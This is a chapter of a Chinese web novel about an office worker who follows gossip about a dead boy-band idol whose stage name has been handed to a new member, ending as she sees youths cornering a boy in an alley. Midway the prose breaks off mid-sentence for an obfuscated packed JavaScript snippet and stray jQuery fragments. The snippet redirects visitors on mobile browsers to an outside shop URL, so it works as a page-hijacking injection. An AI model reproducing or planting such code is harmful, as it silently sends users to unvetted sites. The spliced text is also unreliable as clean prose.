下午六点，办公室准时活了过来。
准确地说，是一群原本装死的人准时复活。
时间一到，键盘声先稀了一层，随后椅子轮子开始滚，文件夹合上，杯盖扣紧，包被一个个从桌角拎起来。几个小时前还在邮件里互相抄送致意的同事们，此刻默契得像一群刑满释放人员，谁都没有多看公司一眼。
我也站了起来。
唐梨比我快一步拎起包，顺手把手机塞进外套口袋里，和我一起往电梯间走。
这个时间点，公司里的电梯永远很像某种温和版本的逃生通道。人很多，但大家脸色都还算平静，毕竟再晚五分钟，也不至于真的死在这里。至少法律层面不会。
外面的天色已经开始往灰蓝里沉，楼体玻璃上映着一点被切碎的晚霞。城市一天里最像正常世界的时刻，通常就是这种时候。光线柔和，空气发凉，路上的人准备回家，商场亮灯，地铁还没彻底挤成沙丁鱼罐头。
如果忽略掉我最近总觉得这个世界像恐怖片，黄昏其实还挺适合活人的。
电梯门一开，里面已经站了七八个人。
我和唐梨挤进去，各自占了半块地砖。门一关上，箱体轻微一沉，开始下行。
唐梨低头看了眼手机，像忽然想起什么似的，偏头跟我说：“对了，白玻璃那事又有后续了。”
我看着前方不断跳动的楼层数字。
“哪件？”
“还能哪件，沈栖迟啊。”她压低声音，压得很有形式感，但周围一圈人显然都听见了，“他死了以后，他们公司立刻推了同团另一个男孩上位做门面，还把那孩子的艺名也改成了‘沈栖迟’。”
我转头看了她一眼。
“你们娱乐圈现在流行这个？”
“不是我们娱乐圈，谢谢。”唐梨说，“是他们娱乐圈。”
我点点头。
“行，他们娱乐圈。”
她很快把手机又扒拉出来，手指一划，页面怼到我眼前。
“你自己看，是不是有病。”
新闻页上是个新的男孩子。
我看了两秒，心里先冒出来的感觉不是惊艳，是发毛。
确实和上一个沈栖迟是一个路数。
一样年轻，一样纤细，一样收拾得干干净净，像从同一套橱窗审美里批量生产出来的精致商品。上一个沈栖迟白得像玻璃柜里摆久了的人偶，这一个则像那层白被换成了冷一点的蜜金，还是少年，还是漂亮，连笑起来时嘴角弯起的角度都训练得很标准。
说得再直白一点，这不像换门面。
这像坏了一个，就照着原来的款式再补一个。
我盯着那张图，心里那点不舒服缓慢地往上浮，像有人把手伸进我胃里，轻轻拨了一下。
沈栖迟这个名字忽然就不太像名字了。
更像标签。
贴在谁身上，谁就是下一个。
唐梨还在旁边小声输出：“粉丝果然炸了。原来那个白色沈栖迟的粉丝说公司吃人血馒头，死人还没凉透就开始换包装继续卖。新的那个沈栖迟的粉丝又说，这孩子本来就是原来沈栖迟很看重的后辈，两个人情同兄弟，换艺名是为了纪念他，也是为了延续他的理想。”
“听起来很感人。”我说。
“是啊，感人得跟公关部亲自写的一样。”唐梨翻了个白眼，“不过黑红也是红，这么一闹，原来沈栖迟被杀那件事的热度又被炒起来了。”
我对沈栖迟本人兴趣不大。
严格来说，我对活着的男团成员和死了的男团成员兴趣都不大。
所以我只抓到了一个比较实际的问题。
“那原来的榜一大姐呢？”
唐梨愣了一下。
她大概没想到我对这个故事最关心的部分居然是凶手的下场。她盯着我看了两秒，才把页面往下划。
“开过庭了吧，好像。”她皱着眉辨认新闻里的字，“不过没判死。说是有精神疾病，具体什么病没细写，反正最后是强制送精神病医院了。”
我“哦”了一声。
电梯又往下掉了两层。
周围的人还是安安静静站着，像一罐被封好的下班人类标本。只有楼层数字在头顶不断变，发出一点很轻的电子音。
“真可惜。”我说。
众所周知,我是个感情淡漠的人.但即使是我,此时也由衷在替这位榜一大姐可惜。
如果这是恐怖片，沈栖迟八成已经不是单纯的死者了。
他更像鬼。
引诱人的艳鬼.
至于那个榜一大姐，在这种故事里，多半不是什么凶手。
她更像受害者。
那种在整部电影里作为背景板,但从头到尾都没做错什么,只是纯属倒霉的受害者。
电梯门“叮”一声打开。
人群开始往外流。
唐梨收起手机，还在为娱乐圈的缺德运作愤愤不平。我跟着她一起走出去，脚步平稳，神情平稳，像一个正常下班的普通社畜。
……
我从地铁站出来的时候，外面已经全黑了。
中心城的夜晚一向来得很利落，像有人按时按点拉下了一整块深色幕布。天没了，楼还亮着。广告屏亮着，便利店亮着，地铁口的指示灯也亮着。整个城市倒不至于黑，只是头顶只剩一层被灯污染过的浑浊夜色。
我一边往家里走，一边低头玩手机。
很快我就发现，电梯里被唐梨强行科普的那点娱乐圈知识，已经被大数据隔空捕捉到了。
手机一打开，满屏都是沈栖迟。
准确地说，是满屏都是和沈栖迟有关的东西。
旧的死讯，新的争议，粉圈互撕，偷拍视频，营销号搬运，公关味浓到快从屏幕里漫出来的长文分析。平台像是生怕我今晚不能带着沈栖迟入睡，恨不得连呼吸频率都替我精准投喂。
不过也许是资本运作得实在太快，往下划着划着，更多的已经不是白色的沈栖迟。
而是新的那个。
金色的沈栖迟。
我盯着这个说法看了两秒，忽然觉得很荒谬。
一个人死了以后，最先被继承的不是遗产，不是理想，也不是冤屈。
是配色。
我点开热度最高的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745270|209266||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那个视频。
不长，三分钟。
我开了两倍速。
视频里的男孩坐在镜头前哭。
哭得很漂亮。
眼泪挂在睫毛和脸颊上，声音发颤，鼻音也发颤，连哽咽都像提前排练过。那种哭法很容易激发人的保护欲，觉得他很脆，很轻，最好拿玻璃罩扣起来，别再让外面的风碰到。
当然，也会激发人的破坏欲。
毕竟人类看见太过漂亮、太过脆弱的东西时，脑子里通常不止会冒出“保护”两个字。
这是种不太体面的本能。
但本能一般都不太体面。
我两倍速看完，提炼出的主要内容如下：
新的金色沈栖迟弟弟哭诉自己和白色沈栖迟关系有多好，说前辈一直很照顾他，很看重他，私下里常把他当亲弟弟。还说沈栖迟以前曾半开玩笑地对他说过，如果哪天自己不干这行了，而他还在的话，就用他的名字继续走下去，也算是替他圆梦。
我看完以后，第一反应是，这东西听起来真的很像鬼故事。
一个人刚死，名字就顺理成章落到另一个人头上。理由是对方生前早有交代，主打一套”你就是我存在的证明”,旁人再反对，也显得像在跟遗言作对。
不管这合不合理,反正很符合我对娱乐圈的刻板映像,很功利很黑暗。
我又顺手点开评论区。
好家伙。
堪比战场。
有人骂公司缺德，有人骂新沈栖迟蹭死人热度，有人心疼旧的，有人怜爱新的，还有人搬出一堆同框截图、后台花絮、采访录屏，试图证明这两个人确实情深义重，换名完全符合亡者心愿。
最厉害的一批人已经开始逐帧分析眼神，顺便互相问候对方祖宗。
我看了几眼，心里忽然冒出一个很朴素的问题。
所以这个新的沈栖迟原来到底叫什么？
评论区里完全没有人提。
所有人都在喊沈栖迟，骂沈栖迟，怜爱沈栖迟，维护沈栖迟。
旧的那个死了，新的那个顶上来。
名字像一张流动的皮。
谁披上，谁就是。
我正想自己搜一下，前面巷子里忽然传来一阵很恶劣的调笑声。
那种笑声很响，也很轻浮，带一点故意往人耳朵里钻的下流意味。像一群人闲得没事干，终于找到了今晚的乐子。
我抬起头。
路灯光线被老城区乱七八糟的电线和防雨棚切得很碎，巷子口半亮半暗。里面站着几个年纪不大的不良少年，校服外套松松垮垮挂在肩上，头发乱，站姿也散，一看就属于“成绩和品德都不及格”的那类人。
他们围着另一个人。
那是个很瘦的男孩子。
他已经被逼得跌坐在地上，背靠着墙，书包滚到脚边，拉链都摔开了。校服穿得规矩，袖口拉得很低，手指撑着地面，骨节绷得发白。大概是刚挨过一下狠的，他低着头，肩膀起伏得很急，正一口一口地喘粗气。
那姿态很狼狈，也很糟糕。
偏偏会让人很容易生出一点不合时宜的保护欲。